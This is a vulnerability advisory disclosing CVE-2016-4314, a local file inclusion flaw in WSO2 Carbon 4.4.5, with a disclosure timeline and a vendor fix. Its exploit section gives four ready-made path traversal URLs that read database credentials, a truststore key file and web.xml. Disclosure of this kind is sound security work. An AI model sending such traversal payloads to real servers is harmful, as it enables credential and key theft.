WSO2 Carbon 4.4.5 - Local File Inclusion

[+] Credits: John Page aka HYP3RLINX



[+] Website: hyp3rlinx.altervista.org



[+] Source:

http://hyp3rlinx.altervista.org/advisories/WSO2-CARBON-v4.4.5-LOCAL-FILE-INCLUSION.txt



[+] ISR: ApparitionSec





Vendor:

===============

www.wso2.com





Product:

====================

Ws02Carbon v4.4.5



WSO2 Carbon is the core platform on which WSO2 middleware products are

built. It is based on Java OSGi technology, which allows

components to be dynamically installed, started, stopped, updated, and

uninstalled, and it eliminates component version conflicts.

In Carbon, this capability translates into a solid core of common

middleware enterprise components, including clustering, security,

logging, and monitoring, plus the ability to add components for specific

features needed to solve a specific enterprise scenario.





Vulnerability Type:

=========================

Local File Inclusion (LFI)





CVE Reference:

==============

CVE-2016-4314





Vulnerability Details:

=====================



An authenticated user can download configuration files in the filesystem

via downloadArchivedLogFiles operation in LogViewer admin service.

The request to the admin service accepts a file path relative to the carbon

log file directory (i.e. <WSO2_PRODUCT_HOME>/repository/logs)

hence can access any file in the file system.





References:

https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2016-0098





Example: accessing the registry.xml file via Local File Inclusion exposes

the MySQL passwords.



<currentDBConfig>mysql-db</currentDBConfig>

<dbConfig name="mysql-db">

<url>jdbc:mysql://localhost:3306/regdb</url>

<userName>regadmin</userName>

<password>regadmin</password>

<driverName>com.mysql.jdbc.Driver</driverName>

<maxActive>80</maxActive>

<maxWait>6000</maxWait>

<minIdle>5</minIdle>

</dbConfig>







Exploit code(s):

===============



LFI to read Database creds, truststore key file, web.xml etc...



1) Read MySQL creds

https://localhost:9443/carbon/log-view/downloadgz-ajaxprocessor.jsp?logFile=../../repository/conf/registry.xml&tenantDomain=&serviceName=



2) Read MySQL creds

https://localhost:9443/carbon/log-view/downloadgz-ajaxprocessor.jsp?logFile=../../repository/conf/datasources/master-datasources.xml



3) Access Truststore Key file.

https://localhost:9443/carbon/log-view/downloadgz-ajaxprocessor.jsp?logFile=../../repository/resources/security/client-truststore.jks





4) Read web.xml

https://localhost:9443/carbon/log-view/downloadgz-ajaxprocessor.jsp?logFile=../../repository/conf/tomcat/carbon/WEB-INF/web.xml





Disclosure Timeline:

===========================================

Vendor Notification: May 6, 2016

Vendor Acknowledgement: May 6, 2016

Vendor Fix / Customer Alerts: June 30, 2016

August 12, 2016  : Public Disclosure





Exploitation Technique:

=======================

Local





Severity Level:

===============

High





[+] Disclaimer

The information contained within this advisory is supplied "as-is" with no

warranties or guarantees of fitness of use or otherwise.

Permission is hereby granted for the redistribution of this advisory,

provided that it is not altered except by reformatting it, and

that due credit is given. Permission is explicitly given for insertion in

vulnerability databases and similar, provided that due credit

is given to the author. The author is not responsible for any misuse of the

information contained herein and accepts no responsibility

for any damage caused by the use or misuse of this information. The author

prohibits any malicious use of security related information

or exploits by the author or elsewhere.



HYP3RLINX